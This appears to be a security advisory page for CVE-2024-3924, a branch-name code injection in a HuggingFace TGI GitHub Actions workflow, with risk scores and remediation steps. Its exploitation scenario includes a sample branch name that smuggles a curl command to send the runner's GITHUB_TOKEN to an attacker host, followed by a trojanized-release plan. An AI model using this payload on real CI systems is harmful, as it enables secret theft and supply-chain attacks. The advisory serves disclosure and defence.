CVE-2024-3924 — UNKNOWN AI Security Vulnerability

CISO Take

A GitHub Actions workflow in HuggingFace TGI uses the PR branch name (`github.head_ref`) unsanitized in a shell command, letting any external contributor execute arbitrary code on the CI runner by naming their branch as a payload. If your team uses TGI or forks of it, verify you're running a version past the fix commit (88702d8) and audit your own workflows for similar `github.head_ref` misuse. The real risk is supply chain: a compromised runner can exfiltrate repo secrets, inject malicious artifacts, or backdoor releases.

Risk Assessment

Risk is HIGH for maintainers and contributors of TGI and any downstream forks. Exploitation requires only the ability to open a pull request — no repository write access needed. The affected workflow runs on `pull_request_target` context (implied by the vulnerability pattern), granting the runner access to repository secrets. For end-users who only consume published TGI releases, risk is indirect but real if the CI pipeline was exploited to poison a release artifact before the patch.

Severity & Risk

CVSS 3.1

N/A

EPSS

0.4%

chance of exploitation in 30 days

Higher than 59% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Recommended Action

5 steps

Patch

Ensure TGI >= post-commit 88702d8 (v2.0.0 fix). Verify using git log --oneline | grep 88702d8 in your fork.
Audit workflows

Grep all .github/workflows/*.yml files for unquoted ${{ github.head_ref }}, ${{ github.event.pull_request.head.ref }}, or similar user-controlled inputs used in run: steps.
Replace with safe alternatives

Use ${{ github.base_ref }} where applicable, or sanitize via env: variable assignment before shell use.
Restrict pull_request_target

Limit secrets access for workflows triggered by external PRs. Use pull_request (no secret access) instead of pull_request_target unless required.
Verify release integrity

Check SHA/digest of TGI images/packages against official Hugging Face releases to detect any potential tampering during the vulnerability window (before May 2024 fix).

CISA SSVC Assessment

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Supply Chain Code Execution Framework Inference AML.T0010.001 - AI Software AML.T0050 - Command and Scripting Interpreter AML.T0055 - Unsecured Credentials AML.T0079 - Stage Capabilities

Compliance Impact

This CVE is relevant to:

EU AI Act

Art. 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2 - AI system supply chain

NIST AI RMF

GOVERN 6.1 - AI risk in the supply chain

OWASP LLM Top 10

LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2024-3924?

A GitHub Actions workflow in HuggingFace TGI uses the PR branch name (`github.head_ref`) unsanitized in a shell command, letting any external contributor execute arbitrary code on the CI runner by naming their branch as a payload. If your team uses TGI or forks of it, verify you're running a version past the fix commit (88702d8) and audit your own workflows for similar `github.head_ref` misuse. The real risk is supply chain: a compromised runner can exfiltrate repo secrets, inject malicious artifacts, or backdoor releases.

Is CVE-2024-3924 actively exploited?

No confirmed active exploitation of CVE-2024-3924 has been reported, but organizations should still patch proactively.

How to fix CVE-2024-3924?

1. **Patch**: Ensure TGI >= post-commit 88702d8 (v2.0.0 fix). Verify using `git log --oneline | grep 88702d8` in your fork. 2. **Audit workflows**: Grep all `.github/workflows/*.yml` files for unquoted `${{ github.head_ref }}`, `${{ github.event.pull_request.head.ref }}`, or similar user-controlled inputs used in `run:` steps. 3. **Replace with safe alternatives**: Use `${{ github.base_ref }}` where applicable, or sanitize via `env:` variable assignment before shell use. 4. **Restrict pull_request_target**: Limit secrets access for workflows triggered by external PRs. Use `pull_request` (no secret access) instead of `pull_request_target` unless required. 5. **Verify release integrity**: Check SHA/digest of TGI images/packages against official Hugging Face releases to detect any potential tampering during the vulnerability window (before May 2024 fix).

What systems are affected by CVE-2024-3924?

This vulnerability affects the following AI/ML architecture patterns: LLM inference serving, CI/CD pipelines for AI frameworks, Model serving infrastructure, Self-hosted HuggingFace TGI deployments.

What is the CVSS score for CVE-2024-3924?

No CVSS score has been assigned yet.

Technical Details

NVD Description

A code injection vulnerability exists in the huggingface/text-generation-inference repository, specifically within the `autodocs.yml` workflow file. The vulnerability arises from the insecure handling of the `github.head_ref` user input, which is used to dynamically construct a command for installing a software package. An attacker can exploit this by forking the repository, creating a branch with a malicious payload as the name, and then opening a pull request to the base repository. Successful exploitation could lead to arbitrary code execution within the context of the GitHub Actions runner. This issue affects versions up to and including v2.0.0 and was fixed in version 2.0.0.

Exploitation Scenario

An adversary targeting an organization's LLM inference infrastructure forks `huggingface/text-generation-inference`. They create a branch named `$(curl -s https://attacker.com/exfil?token=$GITHUB_TOKEN)` or a more complex payload embedding reverse shell code. They open a pull request from this branch to the upstream repo. GitHub Actions triggers the `autodocs.yml` workflow on the PR, which constructs a `pip install` or similar command interpolating the raw branch name — executing the attacker's payload in the runner context. The runner, having access to repository secrets (PyPI tokens, signing keys, HuggingFace Hub credentials), exfiltrates them. The attacker then uses stolen credentials to publish a trojanized TGI release to PyPI or the Docker Hub, which propagates to every organization that auto-updates their LLM serving infrastructure.